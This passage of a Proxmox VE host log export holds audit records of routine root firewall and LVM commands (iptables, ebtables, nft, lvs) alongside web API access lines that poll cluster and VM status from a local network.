key=\"exec\""} {"@timestamp":1781964685395,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.395:62163): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964092898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964092.898:59547): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155898,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966155.898:68682): table=filter family=7 entries=4 op=xt_replace pid=65953 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964675254,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964675.254:62111): table=filter family=7 entries=4 op=xt_replace pid=59575 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345070,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.070:69369): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964746807,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965678725,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964295858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.858:60422): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e8fd2d70740 items=0 ppid=1156 pid=58015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966250944,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966250.944:69080): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966335993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966335.993:69337): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685388,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.388:62162): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964092892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964092.892:59545): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145740,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966145.740:68640): table=filter family=7 entries=4 op=xt_replace pid=65914 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964665122,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964665.122:62053): table=filter family=7 entries=4 op=xt_replace pid=59530 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345064,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.064:69368): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964744678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965678725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781964295855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.855:60421): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc102860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.936:69078): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966335988,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966335.988:69336): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685383,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.383:62160): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964092892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964092.892:59544): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135563,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966135.563:68595): table=filter family=7 entries=4 op=xt_replace pid=65869 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964655997,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964655.997:62002): table=filter family=7 entries=4 op=xt_replace pid=59484 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345058,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.058:69367): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964744678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 852"} {"@timestamp":1781965676706,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964295850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.850:60420): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1012f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.936:69077): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966335982,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966335.982:69335): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66556 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685378,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.378:62159): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964087883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964087.883:59542): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125400,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966125.400:68547): table=filter family=7 entries=4 op=xt_replace pid=65828 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964645868,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964645.868:61945): table=filter family=7 entries=4 op=xt_replace pid=59439 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345053,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.053:69366): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964743690,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965676706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781964295845,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.845:60419): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134f00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58013 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.930:69075): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966334839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966334.839:69334): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7412400 a1=64f8d73b7c60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66555 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685373,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.373:62158): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964087883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964087.883:59541): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115217,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966115.217:68505): table=filter family=7 entries=4 op=xt_replace pid=65789 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964635725,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964635.725:61900): table=filter family=7 entries=4 op=xt_replace pid=59395 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966344937,"@rawstring":"node=pve type=EXECVE msg=audit(1781966344.937:69365): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964743690,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781965676706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964295838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.838:60418): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed6d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58012 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.930:69074): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966334814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966334.814:69333): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d665b660 a1=64f8d73aa7a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685367,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.367:62157): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964087878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964087.878:59539): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106070,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966106.070:68469): table=filter family=7 entries=4 op=xt_replace pid=65752 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964625588,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964625.588:61858): table=filter family=7 entries=4 op=xt_replace pid=59356 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966344907,"@rawstring":"node=pve type=EXECVE msg=audit(1781966344.907:69364): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964743690,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965676706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964295832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.832:60417): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f5420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.333:69068): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd604d33c0 a1=59c76966e3d0 a2=59c76964c680 a3=5 items=1 ppid=66324 pid=66325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966334104,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966334.104:69332): arch=c000003e syscall=59 success=yes exit=0 a0=61301a948bb0 a1=61301a947c40 a2=61301a8aab30 a3=8 items=2 ppid=1541 pid=66551 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"clear\" exe=\"/usr/bin/clear\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685362,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.362:62156): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964087878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964087.878:59538): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095912,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966095.912:68427): table=filter family=7 entries=4 op=xt_replace pid=65711 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964615456,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964615.456:61801): table=filter family=7 entries=4 op=xt_replace pid=59311 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966341370,"@rawstring":"node=pve type=EXECVE msg=audit(1781966341.370:69363): argc=1 a0=\"clear\""} {"@timestamp":1781964740643,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781965675713,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964295827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.827:60416): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966240.919:69051): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966331215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966331.215:69331): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685357,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.357:62155): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964085968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.968:59534): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc30fcd4f0 a1=572740733310 a2=57274072c680 a3=5 items=1 ppid=57175 pid=57176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085756,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966085.756:68385): table=filter family=7 entries=4 op=xt_replace pid=65672 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964605324,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964605.324:61749): table=filter family=7 entries=4 op=xt_replace pid=59268 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966341254,"@rawstring":"node=pve type=EXECVE msg=audit(1781966341.254:69362): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964740643,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965675713,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964295819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.819:60415): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966240.919:69050): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966331210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966331.210:69328): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685350,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.350:62154): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964085879,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.879:59516): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe7bb37ed0 a1=6163e842e310 a2=6163e8427680 a3=5 items=1 ppid=57156 pid=57157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075596,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966075.596:68340): table=filter family=7 entries=4 op=xt_replace pid=65627 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964595189,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964595.189:61697): table=filter family=7 entries=4 op=xt_replace pid=59223 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966341243,"@rawstring":"node=pve type=EXECVE msg=audit(1781966341.243:69359): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964740643,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781965674299,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 940"} {"@timestamp":1781964295813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.813:60414): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966240.913:69048): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966326203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966326.203:69325): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685344,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.344:62153): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964082864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964082.864:59506): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065433,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966065.433:68297): table=filter family=7 entries=4 op=xt_replace pid=65587 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964586052,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964586.052:61655): table=filter family=7 entries=4 op=xt_replace pid=59184 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.230:69356): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964739642,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} 